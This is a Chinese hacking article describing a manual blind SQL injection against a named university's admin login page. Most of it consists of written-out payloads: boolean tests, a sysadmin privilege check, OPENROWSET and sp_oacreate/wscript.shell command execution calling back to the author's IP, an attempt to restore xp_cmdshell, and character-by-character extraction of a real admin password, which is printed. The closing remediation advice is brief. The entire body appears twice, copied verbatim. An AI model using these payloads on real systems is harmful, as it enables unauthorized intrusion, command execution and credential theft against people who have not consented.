黑客 猜测的艺术——实际入侵中的Sql注入
现在的Sql注入攻击已经变得越来越普及了，很多的不太懂Sql注入原理的人都懂得用工具去扫描和利用漏洞了，但是在实际情况中遇到的Sql注入却并不总是那么简单的事情，很多环境的原因导致直接利用工具的失败！上几期Linx遇到了一个，他用中间代理修改数据包的方法饶过了限制，这次我也遇到了一个比较特殊的情况。
哈尔滨工业大学是比较有名的一所大学，以前我看过他的网站，安全性还是不错的，管理员也利用一些黑客工具对自己的网站进行过安全检测，在明显的连接等地方基本不存在Sql注入漏洞的可能性，所以我把目标放在了其他地方！在他们的主页上有一个管理，点进去看看发现可以登陆哦！我们还是常规点用用户admin和密码admin登陆试试如图一。呵呵，果然登陆失败，提示密码错误，但是我们并不是什么收获都没有哦！我们获得了一个管理员的名字，验证下结论，再用一个不存在的用户名如jnc登陆试试，果然错误返回的是不存在这个用户名。现在看看有不有Sql注入漏洞吧！还是传统的在用户名字处写上admin'，提交发现返回的是服务器500错误如图二，也知道了服务器是错误提示关闭的，对Sql注入不利哦。然后提交admin' and 1=2--发现返回的是没有这个用户名，如图三。呵呵，基本可以确定漏洞存在了，并且数据库是SqlServer的，因为他直接把我们提交的参数放到Sql语句中当作代码执行了，并且支持--这种注释方式的一定是Sqlserver或者Orcale了，按照常理应该就是Sqlserver啦。再提交admin' and 1=1--，提示密码错误，如图四。呵呵，发现漏洞了！
现在的问题就是如何利用这个漏洞了，最简单的方法就是想办法找出参数的提交地址然后放到注入工具里跑！这个好说，查看源文件得到表单的action地址，然后查看用户名的变量就可以构造出注入的地址了如：
http://wcm.hit.edu.cn/admin/admin/login/login2.asp?username=admin
这个连结应该是存在漏洞的，但是当我用工具检测时问题出现了，提示没有漏洞，换了Post方法之后检测还是提示没有漏洞，再改注入的错误关键字为“密码错误”检测，发现还是没有漏洞。我想应该是程序写的方式有问题，获取参数的方式跟其他的不一样吧！再试了好久之后我放弃了！工具并不总是万能的，毕竟他不能代替人思考，现在我们有注入点那么就在这个注入点体验Sql猜测的艺术吧，在很多情况下需要这种思路哦！
我发现在用户名处填写admin'+and+Sql注入代码--，Sql语句结果为真的话会出现密码错误，结果为假的话会提示没有这个用户名，因为我们前面的admin是肯定存在的嘛！猜测我们的语句提交到数据库里变成了：
select 密码 from 表 where 用户名='admin'+and+Sql注入代码--'
我们的admin用户是肯定存在的，然后用and连接自己的Sql语句，再用--注释掉其他的东西，当语句为真的话整个语句取出的就是admin的记录，为假的话就记录为空，这是我们Sql猜测的基础哦！因为是Sqlserver所以首先看看他的权限吧，搞得好的话可以少走好多弯路哦！提交：
admin' and (Select IS_SRVROLEMEMBER('sysadmin'))=1--
嘿嘿，返回密码错误，也就是说应该是系统权限了！然后看看他的IP，首先本机监听1433端口，然后使用语句：
OPENROWSET ('sqloledb','server=218.*.35.227;uid=jnc;pwd=jnclovesw;database=dbname;','select * from tbmember')-- 我想不通 难道他知道人家数据库帐户和密码?
其中218.*.35.227是我的IP，这个语句可以用来探测Sqlserver的IP，普通权限也可以使用的！等了半天对方服务器超时了我的Nc也没有什么反映，应该是数据库服务器没有上网或者被防火墙屏蔽了向外的端口！本来还想用OPENROWSET突破错误显示的呢！看来不行了！为了验证自己的结果准确，再提交：
admin' and (select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell')>0--
返回没有这个用户，那么就是不存在xp_cmdshell扩展了，提交尝试恢复的语句：
admin';dbcc addextendedproc ('xp_cmdshell','xplog70.dll')--
正常返回然后执行上面查看xp_cmdshell发现还是没有这个扩展，看来是恢复失败了！那么用：
admin' and (select count(*) from master.dbo.sysobjects where xtype='X' and name='sp_oacreate')>0--
返回密码错误也就是说存在sp_oacreate扩展了，大家知道这个也可以用来执行命令的，那么我们提交：
admin';use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'cmd /c ping 218.7.35.227',0,true;--
我的防火墙还是死了一样没有任何反映，郁闷！看来真的做了限制不能上网，而且错误提示关闭，根本没有办法得到他的IP嘛！平时还可以试试查看目录来判断，现在也不行了！即使可以执行命令也没有什么好办法！我也不赌web和Sqlserver同服务器了，其实可以用命令将机器重起下看看web服务挂没有，挂的话就是一个服务器的！但是我们只是测试用不上这么残忍，回到我们的Sql脚本上吧！
现在我们回到web上，可以试试破解管理员的密码！首先用admin' or 1=1--和密码jnc' or 1=1--登陆试试发现提示密码错误，这下就可以看出Sql里面验证的方式，我猜测程序首先用我们提交的用户名执行语句：
select 密码 from 表 where 用户名='我们提交的参数'
然后将得到的密码与我们提交的密码比较，相等就让我们登陆，密码参数根本没有放到Sql语句里！猜出了程序处理的方式我们就可以构造有意思的Sql语句了哦！再整理下思路，我们现在不知道任何表名和任何库名，本来在Sqlserver里猜测这些是很简单的事，但是现在在错误提示关闭并且完全手工的情况下猜解还是很麻烦的！如果知道任何一个公告之类的表还可以尝试用update语句将我们需要的信息更新到公告表里然后通过浏览公告得到我们想要的任何信息，但是我们关于数据库的结构可是一无所知哦！知道用户表名就可以把信息更新到用户信息里了，我们连用户表名都不知道！不过我们的注入点很有意思的，他本身就是在系统中用户表中操作的，因为这里是登陆的注入点嘛！所以不用知道用户表的名字，事实上我尝试过很多常见的表名都宣告失败，最后才发现根本不用表名。查看源文件发现我们的用户名的变量是name，密码变量是password如图五。这下可以发挥我们的想象力了！我们在用户名处提交：
' or password='123456'--
然后密码就可以填123456尝试登陆了，呵呵！上面的语句放到Sql语句里的意思就是取出用户表中名字为空或者密码为123456的帐号，如果有这样的帐号的话，他密码肯定是123456啦，所以可以用123456登陆了！但是发现系统给我们的结果是该用户没有通过验证！郁闷！权限不够，本来如果还知道一个帐号id的话就可以自己指定id得到指定管理员帐号的信息了，但是我尝试好久也没有发现有ID这样一个字段！看来还是只能用密码这个字段得到管理员的密码了，这个是可以做到的哦！我们在用户名处写上：
admin' and len(password)>6--
到Sql语句中变成：
select password from 用户表 where 用户名='admin' and len(password)>6--'
结果返回密码错误，就是结果为真啦！呵呵，果然密码是大于6位的！那么是不是md5加密的呢？提交
admin' and len(password)=16--
返回不存在用户名，呵呵，不是md5的，太好了！试了几次之后发现密码是8位的！嘿嘿，现在来看看密码的第一位是什么：
admin' and ASCII(substring(password,1,1))>=48 and ASCII(substring(password,1,1))<=57--
这样是猜测第一位是不是数字，先用substring函数取出第一位字符然后用ASCII函数转换成ASCII字符看看是不是在数字范围之内，大家应该也可以写出猜测是不是小写字母的语句了吧！返回结果密码错误，呵呵，是数字的！接下来猜测密码到底是什么，因为是数字所以就简单了，而且通常密码如果有一位是数字整个就是数字，所以很快变换语句我就得到了所有的密码为46997630，嘿嘿，现在可以登陆进去了！因为一些原因我就不抓图了！我们已经尝试到Sql注入的乐趣，不是么？
最后我通知了管理员，管理员也及时联系到我了，通过了解我知道之前他们的确对网站进行了一些Sql注入的修补，但是跟我猜测的一样，修补的都是很显而易见的漏洞如Url后面的参数，还做了服务器方面的安全设置，但是对于安全来说是不够的，小漏洞总是大问题。而对于入侵者来说可以看到不久的将来，Sql注入这种攻击的环境将会越来越受限制，如何寻找黑箱下的漏洞以及利用漏洞才是要学习的。最后给网站一些Sql注入修补的意见，可以尝试使用Sql通用防注入系统，但是可能对正常使用造成影响，也可以限制表单的长度为较小的长度，大家可以看到上面的攻击中我们的参数根本没有长度的限制的。或者对每个字符形式的参数过滤掉'吧！再就是连接的帐号权限太高了，碰到恶意用户利用扩展执行下删除等命令损失就大了！
文章比较简单，有什么问题欢迎到论坛讨论！文中网站已经修补漏洞，大家不要再去测试了哦！
哈尔滨工业大学是比较有名的一所大学，以前我看过他的网站，安全性还是不错的，管理员也利用一些黑客工具对自己的网站进行过安全检测，在明显的连接等地方基本不存在Sql注入漏洞的可能性，所以我把目标放在了其他地方！在他们的主页上有一个管理，点进去看看发现可以登陆哦！我们还是常规点用用户admin和密码admin登陆试试如图一。呵呵，果然登陆失败，提示密码错误，但是我们并不是什么收获都没有哦！我们获得了一个管理员的名字，验证下结论，再用一个不存在的用户名如jnc登陆试试，果然错误返回的是不存在这个用户名。现在看看有不有Sql注入漏洞吧！还是传统的在用户名字处写上admin'，提交发现返回的是服务器500错误如图二，也知道了服务器是错误提示关闭的，对Sql注入不利哦。然后提交admin' and 1=2--发现返回的是没有这个用户名，如图三。呵呵，基本可以确定漏洞存在了，并且数据库是SqlServer的，因为他直接把我们提交的参数放到Sql语句中当作代码执行了，并且支持--这种注释方式的一定是Sqlserver或者Orcale了，按照常理应该就是Sqlserver啦。再提交admin' and 1=1--，提示密码错误，如图四。呵呵，发现漏洞了！
现在的问题就是如何利用这个漏洞了，最简单的方法就是想办法找出参数的提交地址然后放到注入工具里跑！这个好说，查看源文件得到表单的action地址，然后查看用户名的变量就可以构造出注入的地址了如：
http://wcm.hit.edu.cn/admin/admin/login/login2.asp?username=admin
这个连结应该是存在漏洞的，但是当我用工具检测时问题出现了，提示没有漏洞，换了Post方法之后检测还是提示没有漏洞，再改注入的错误关键字为“密码错误”检测，发现还是没有漏洞。我想应该是程序写的方式有问题，获取参数的方式跟其他的不一样吧！再试了好久之后我放弃了！工具并不总是万能的，毕竟他不能代替人思考，现在我们有注入点那么就在这个注入点体验Sql猜测的艺术吧，在很多情况下需要这种思路哦！
我发现在用户名处填写admin'+and+Sql注入代码--，Sql语句结果为真的话会出现密码错误，结果为假的话会提示没有这个用户名，因为我们前面的admin是肯定存在的嘛！猜测我们的语句提交到数据库里变成了：
select 密码 from 表 where 用户名='admin'+and+Sql注入代码--'
我们的admin用户是肯定存在的，然后用and连接自己的Sql语句，再用--注释掉其他的东西，当语句为真的话整个语句取出的就是admin的记录，为假的话就记录为空，这是我们Sql猜测的基础哦！因为是Sqlserver所以首先看看他的权限吧，搞得好的话可以少走好多弯路哦！提交：
admin' and (Select IS_SRVROLEMEMBER('sysadmin'))=1--
嘿嘿，返回密码错误，也就是说应该是系统权限了！然后看看他的IP，首先本机监听1433端口，然后使用语句：
OPENROWSET ('sqloledb','server=218.*.35.227;uid=jnc;pwd=jnclovesw;database=dbname;','select * from tbmember')-- 我想不通 难道他知道人家数据库帐户和密码?
其中218.*.35.227是我的IP，这个语句可以用来探测Sqlserver的IP，普通权限也可以使用的！等了半天对方服务器超时了我的Nc也没有什么反映，应该是数据库服务器没有上网或者被防火墙屏蔽了向外的端口！本来还想用OPENROWSET突破错误显示的呢！看来不行了！为了验证自己的结果准确，再提交：
admin' and (select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell')>0--
返回没有这个用户，那么就是不存在xp_cmdshell扩展了，提交尝试恢复的语句：
admin';dbcc addextendedproc ('xp_cmdshell','xplog70.dll')--
正常返回然后执行上面查看xp_cmdshell发现还是没有这个扩展，看来是恢复失败了！那么用：
admin' and (select count(*) from master.dbo.sysobjects where xtype='X' and name='sp_oacreate')>0--
返回密码错误也就是说存在sp_oacreate扩展了，大家知道这个也可以用来执行命令的，那么我们提交：
admin';use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'cmd /c ping 218.7.35.227',0,true;--
我的防火墙还是死了一样没有任何反映，郁闷！看来真的做了限制不能上网，而且错误提示关闭，根本没有办法得到他的IP嘛！平时还可以试试查看目录来判断，现在也不行了！即使可以执行命令也没有什么好办法！我也不赌web和Sqlserver同服务器了，其实可以用命令将机器重起下看看web服务挂没有，挂的话就是一个服务器的！但是我们只是测试用不上这么残忍，回到我们的Sql脚本上吧！
现在我们回到web上，可以试试破解管理员的密码！首先用admin' or 1=1--和密码jnc' or 1=1--登陆试试发现提示密码错误，这下就可以看出Sql里面验证的方式，我猜测程序首先用我们提交的用户名执行语句：
select 密码 from 表 where 用户名='我们提交的参数'
然后将得到的密码与我们提交的密码比较，相等就让我们登陆，密码参数根本没有放到Sql语句里！猜出了程序处理的方式我们就可以构造有意思的Sql语句了哦！再整理下思路，我们现在不知道任何表名和任何库名，本来在Sqlserver里猜测这些是很简单的事，但是现在在错误提示关闭并且完全手工的情况下猜解还是很麻烦的！如果知道任何一个公告之类的表还可以尝试用update语句将我们需要的信息更新到公告表里然后通过浏览公告得到我们想要的任何信息，但是我们关于数据库的结构可是一无所知哦！知道用户表名就可以把信息更新到用户信息里了，我们连用户表名都不知道！不过我们的注入点很有意思的，他本身就是在系统中用户表中操作的，因为这里是登陆的注入点嘛！所以不用知道用户表的名字，事实上我尝试过很多常见的表名都宣告失败，最后才发现根本不用表名。查看源文件发现我们的用户名的变量是name，密码变量是password如图五。这下可以发挥我们的想象力了！我们在用户名处提交：
' or password='123456'--
然后密码就可以填123456尝试登陆了，呵呵！上面的语句放到Sql语句里的意思就是取出用户表中名字为空或者密码为123456的帐号，如果有这样的帐号的话，他密码肯定是123456啦，所以可以用123456登陆了！但是发现系统给我们的结果是该用户没有通过验证！郁闷！权限不够，本来如果还知道一个帐号id的话就可以自己指定id得到指定管理员帐号的信息了，但是我尝试好久也没有发现有ID这样一个字段！看来还是只能用密码这个字段得到管理员的密码了，这个是可以做到的哦！我们在用户名处写上：
admin' and len(password)>6--
到Sql语句中变成：
select password from 用户表 where 用户名='admin' and len(password)>6--'
结果返回密码错误，就是结果为真啦！呵呵，果然密码是大于6位的！那么是不是md5加密的呢？提交
admin' and len(password)=16--
返回不存在用户名，呵呵，不是md5的，太好了！试了几次之后发现密码是8位的！嘿嘿，现在来看看密码的第一位是什么：
admin' and ASCII(substring(password,1,1))>=48 and ASCII(substring(password,1,1))<=57--
这样是猜测第一位是不是数字，先用substring函数取出第一位字符然后用ASCII函数转换成ASCII字符看看是不是在数字范围之内，大家应该也可以写出猜测是不是小写字母的语句了吧！返回结果密码错误，呵呵，是数字的！接下来猜测密码到底是什么，因为是数字所以就简单了，而且通常密码如果有一位是数字整个就是数字，所以很快变换语句我就得到了所有的密码为46997630，嘿嘿，现在可以登陆进去了！因为一些原因我就不抓图了！我们已经尝试到Sql注入的乐趣，不是么？
最后我通知了管理员，管理员也及时联系到我了，通过了解我知道之前他们的确对网站进行了一些Sql注入的修补，但是跟我猜测的一样，修补的都是很显而易见的漏洞如Url后面的参数，还做了服务器方面的安全设置，但是对于安全来说是不够的，小漏洞总是大问题。而对于入侵者来说可以看到不久的将来，Sql注入这种攻击的环境将会越来越受限制，如何寻找黑箱下的漏洞以及利用漏洞才是要学习的。最后给网站一些Sql注入修补的意见，可以尝试使用Sql通用防注入系统，但是可能对正常使用造成影响，也可以限制表单的长度为较小的长度，大家可以看到上面的攻击中我们的参数根本没有长度的限制的。或者对每个字符形式的参数过滤掉'吧！再就是连接的帐号权限太高了，碰到恶意用户利用扩展执行下删除等命令损失就大了！
文章比较简单，有什么问题欢迎到论坛讨论！文中网站已经修补漏洞，大家不要再去测试了哦！
